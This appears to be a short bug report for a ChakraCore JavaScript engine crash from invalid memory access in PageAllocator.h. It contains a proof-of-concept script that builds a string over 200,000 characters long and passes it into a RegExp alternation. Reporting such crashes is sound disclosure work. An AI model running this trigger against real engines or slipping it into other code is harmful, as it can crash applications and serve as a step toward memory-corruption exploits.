crash due to invalid memory access at ChakraCore/lib/Common/Memory/PageAllocator.h:731

os:ubuntu 16.04 x64
build: debug & release
poc:
var v0 = "can't";
var v2 = "get";
var v3 = "no";
var v4 = "Satisfaction";
var v7 = "in";
while((v2.length) < (200000)){
{
(v12) = v2;
(v2) = (v2) + (" ZOMBIE");
}
}
var v8 = new RegExp((((((((((((('^(?:') + (v3)) + ('|')) + (v0)) + ('|')) + (v4)) + ('|')) + (v12)) + ('|')) + (v2)) + ('|')) + (v7)) + (')'));